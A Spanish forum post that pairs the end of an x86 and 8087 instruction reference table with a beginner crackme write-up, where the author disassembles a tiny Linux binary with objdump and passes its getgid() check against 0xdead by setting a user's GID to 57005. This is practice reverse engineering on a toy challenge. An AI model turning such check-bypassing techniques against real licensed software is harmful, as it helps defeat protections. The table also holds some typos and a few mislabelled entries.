LOOPE  etiqueta              Ciclo mientras igual.
LOOPNE  etiqueta            Ciclo mientras no igual.
LOOPNZ  etiqueta            Ciclo mientras no cero.
LOOPZ  etiqueta               Ciclo mientras cero.
MOV  acum,mem             Mueve un valor del segundo al primer operando
r/m,inmed
mem, acum
r/m, reg
r/m,segreg
reg, inmed
reg,r/m
segreg,r/m
MOVS  dest, src               Mueve cadena.
MOVSB                           Mueve cadena byte por byte.
MOVSW                          Mueve cadena palabra por palabra.
MUL  r/m                         Multiplicación.
NEG  r/m                          Niega(complemento a 2).
NOP                                Operación ociosa.
NOT  r/m                          Invierte valores de bits (complemento a 1).
OR   acum, inmed             Operación OR a nivel de bit.
r/m,inmed
r/m, reg
reg,r/m
OUTDX, accum                Salida por el puerto dado por el primer operando.
inmed, acum            (inmediato de 8 bits)
POP  r/m                         Recupera valor de la pila.
reg
segreg
POPF                              Recupera banderas.
PUSH  r/m                       Guarda valor en la pila.
reg
segreg
PUSHF                            Guarda banderas.
RCL  r/m,1                       Rotación a la izquierda con acarreo.
r/m,CL
RCR  r/m, 1                      Rotación a la derecha con acarreo.
r/m, CL
REP                                 Repite.
REPE                               Repite si igual.
REPNE                            Repite si no igual.
REPNZ                             Repite si no cero.
REPZ                               Repite si cero.
RET  [inmed]                    Regresa después de recuperar bytes de la pila.
ROL r/m,1                        Rotación a la izquierda.
r/m, CL
ROR r/m,1                        Rotación a la derecha.
r/m, CL
SAHF                              Carga banderas con el valor de AH.
SAL  r/m, 1                      Desplazamiento aritmético a la izquierda.
r/m, CL
SAR  r/m, 1                      Desplazamiento aritmético a la derecha.
r/m, CL
SBB  acum, inmed            Substracción con acarreo.
r/m,inmed
r/m, reg
reg,r/m
SCAS dest                       Explora cadena.
SCASB                            Explora cadena para el byte en AL.
SCASW                           Explora cadena por la palabra en AX.
SHL  r/m, 1                      Desplazamiento a la izquierda.
r/m, CL
SHR  r/m, 1                      Desplazamiento a la derecha.
r/m, CL
STC                                 Fija bandera de acarreo.
STD                                 Fija bandera de dirección.
STI                                  Fija bandera de interrupción.
STOS dest                       Guarda cadena.
STOSB                            Guarda byte en AL en la cadena.
STOSW                           Guarda palabra en AX en la cadena.
SUB  accum, inmed          Substracción.
r/m,inmed
r/m, reg
reg,r/m
TEST acum, inmed           Comparación.
r/m,inmed
r/m, reg
reg,r/m
WAIT                               Aguarda.
XCHG acum, reg              Intercambio.
r/m,inmed
r/m, reg
reg,r/m
XLAT                               Traduce.
XOR acum, reg                 Operación XOR a  nivel bit.
r/m,inmed
r/m, reg
reg,r/m

8087
F2XM1                             Calcula 2x-1.
FABS                              Toma valor absoluto del tope de la pila.
FADD  mem                     Suma real.
FADD  ST,ST(i)                Suma real desde la pila.
FADD  ST(i),ST                Suma real a la pila.
FADDP  ST(i), ST             Suma real y saca de pila.
FBLD  mem                     Carga un decimal empacado de 10 bytes en  lapila.
FBSTP  mem                   Almacena un decimal empacado de 10 bytes y saca de pila.
FCHS                              Cambia signo del valor en el tope de la pila.
FCLEX                             Borra las excepciones después de un WAIT.
FCOM                              Compara real.
FCOM  ST                       Compara real con el tope de la pila.
FCOM  ST(i)                    Compara real con la pila.
FCOMP                           Compara real y saca de pila.
FCOMP  ST                     Compara real con el tope dela pila y saca de pila.
FCOMP  ST(i)                  Compara real con el tope de la pila y saca.
FCOMPP                         Compara real y saca dos valores de la pila.
FDECSTP                        Decrementa el apuntador de la pila.
FDISI                               Deshabilita las interrupciones después de un WAIT.
FDIV  mem                      División real.
FDIV  ST,ST(i)                 División real desde la pila.
FDIV  ST(i), ST                División real en la pila.
FDIVPST(i), ST                División real sacando valor de la pila.
FDIVR                             División real invertida.
FDIVR  mem                    División real invertida desde memoria.
FDIVR  ST, ST(i)              División real invertida desde la pila.
FDIVR  ST(i), ST              División real invertida desde la pila.
FDIVRPST(i), ST              División con un real invertido y sacando valor de la pila.
FENI                                Habilita interrupciones después de un WAIT.
FFREE                             Libera elemento dela pila.
FIADD mem                     Suma entera de un número de2 ó 4 bytes.
FICOM  mem                   Compara enteros de 2 ó 4 bytes y saca de la pila.
FICOMP mem                  Compara entero de 2 ó4 bytes y saca de pila.
FIDIV mem                      División entera.
FDIVR mem                     División entera invertida.
FILD mem                        Carga un entero de 2, 4 u 8 bytes en la pila.
FIMUL  mem                    Multiplicación entera de 2 ó 4 bytes.
FINCSTP                         Incrementa el apuntador de la pila.
FINIT                               Inicializa el procesador después de WAIT.
FIST  mem                       Almacena entero de 2 ó 4 bytes.
FISTP  mem                    Almacena entero de 2, 4 u 8 bytes y saca de la pila.
FISUB  mem                    Resta entero de 2 ó 4 bytes.
FISUBR  mem                  Resta entera de 2 ó 4 bytes invertida.
FLD  mem                        Carga real de 4, 8 ó 10 bytes en la pila.
FLD1                               Pone +1.0 en el tope de la pila.
FLDCW mem                   Carga la palabra de control.
FLDENV  mem                 Carga entorno 8087 (14 bytes).
FLDL2E                           Cargalog2 e en el tope dela pila.
FLDL2T                           Cargalog2 10en el tope de la pila.
FLDLG2                           Cargalog102 en el tope de la pila.
FLDLN2                           Cargaloge2 en el tope de la pila.
FLDPI                              Carga p en el tope dela pila.
FLDZ                               Carga +0.0 en el tope de la pila.
FMUL                              Multiplicación real.
MUL  mem                       Multiplicación real desde memoria.
FMUL  ST, ST(i)               Multiplicación real desde pila.
FMUL  ST(i), ST               Multiplicación real a la pila.
FMULP  ST, ST(i)            Multiplicación real y saca de la pila.
FNCLEX                          Borra excepciones sin WAIT.
FNDISI                            Inhabilita interrupciones sin WAIT.
FNENI                              Habilita interrupciones sin WAIT.
FNINIT                             Inicializa procesador sin WAIT.
FNOP                              Operación nula.
FNSAVE  mem                 Salva estado 8087 (94 bytes) sin WAIT.
FNSTCW  mem                Almacena la palabra de control sin WAIT.
FNSTENV  mem               Guarda el entorno 8087 sin WAIT.
FNSTSW mem                 Almacena el estado8087 sin WAIT.
FPATAN                          Función arcotangente parcial.
FPREM                            Residuo parcial.
FPTAN                            Función tangente parcial.
FRNDINT                         Redondea a entero
FRSTOR mem                  Restablece estado8087 (94 bytes)
FSAVE mem                    Conserva el estado8087 (94 bytes).
FSCALE                          Escala
FSQRT                            Raíz cuadrada
FST                                 Almacena real.
FST  ST                           Almacena real desde el tope de la pila.
FST  ST(i)                        Almacena real desde lapila.
FSTCW   mem                 Almacena palabra de control  con WAIT.
FSTENV  mem                 Guarda el entorno 8087 después de WAIT.
FSTP  mem                     Guarda real de 4, 8 ó 10 bytes y saca de la pila.
FSTSW  mem                  Almacena la palabra de estado depués de WAIT.
FSUB                              Substracción real.
FSUB mem                      Substracción real desde memora.
FSUB ST, ST(i)                Substracción real desde la pila.
FSUB ST(i), ST                Substracción real a la pila.
FSUBPST, ST(i)               Substrae real y saca de pila.
FSUBR                            Substracción real invertida.
FSUBR  mem                   Substracción real invertida desde memoria.
FSUBR  ST,ST(i)              Substracción real invertida desde la pila.
FSUBR  ST(i), ST             Substracción real invertida a la pila.
FSUBRPST(i), ST            Substracción real invertida a la pila y saca.
FTST                               Prueba el tope dela pila.
FWAIT                             Aguarda que la última operación 8087 termine.
FXAM                              Examina el elemento del tope de la pila.
FXCH                              Intercambia contenido de los elementos de la pila.
FFREEST                         Intercambia el elemento del tope de la pila.
FFREEST(i)                      Intercambia el elemento del tope de la pila y el i-ésimo elemento.
FXTRACT                        Extrae el exponente y significando.
FYL2X                             Calcula Y log2 X.
FYL2PI                            Calcula Y log2 (x+1) 

Esta es otra versión del anterior crackme, del mismo nivel.

Descripción general:

Citar

• Difficulty: 1 - Very easy, for newbies
• Platform: Unix/linux etc.
• Language: Assembler

*
[/list]

Herramientas:

Citar

• Strings
• objdump

Lo primero que haremos será buscar cadenas de texto en el ejecutable.

strings ./blah

Obtenemos la siguiente salida:

Citar
Okej!

Nada más... Bueno, almenos tenemos la string de "chico bueno"

Llamemos a Objdump.

Citarobjdump -d -M intel ./blah

./blah:     file format elf32-i386


Disassembly of section .text:

08048094 <.text>:
 8048094:	31 c0                	xor    eax,eax
 8048096:	b8 2f 00 00 00       	mov    eax,0x2f
 804809b:	cd 80                	int    0x80
 804809d:	3d ad de 00 00       	cmp    eax,0xdead
 80480a2:	75 16                	jne    0x80480ba
 80480a4:	b8 04 00 00 00       	mov    eax,0x4
 80480a9:	bb 01 00 00 00       	mov    ebx,0x1
 80480ae:	b9 c4 90 04 08       	mov    ecx,0x80490c4
 80480b3:	ba 06 00 00 00       	mov    edx,0x6
 80480b8:	cd 80                	int    0x80
 80480ba:	31 c0                	xor    eax,eax
 80480bc:	40                   	inc    eax
 80480bd:	31 db                	xor    ebx,ebx
 80480bf:	cd 80                	int    0x80

Eso es todo... Resumamos.

• Limpiamos EAX
• Cargamos en EAX 0x2f ( getgid() )
• Ejecutamos la llamada
• Comparamos el GID, de no ser así sale fuera

No hay keygen, como podeis observar.

Tenemos dos opciones, Parchear, que queda directamente descartada por mi parte, o crear el grupo de usuarios pertinente.

Para validar el keygen, símplemente edité el GID de mi usuario, y este fué el resultado:

Citarroot@ubuntu:/home/ubuntu# login blah
Password:
Welcome to Ubuntu 12.10 (GNU/Linux 3.5.0-17-generic i686)

* Documentation:  No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


groups: cannot find name for group ID 57005
blah@ubuntu:~$ cd /home/ubuntu
blah@ubuntu:/home/ubuntu$ ./blah
Okej!

Fín.

Autoría propia. Link original: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Un saludo!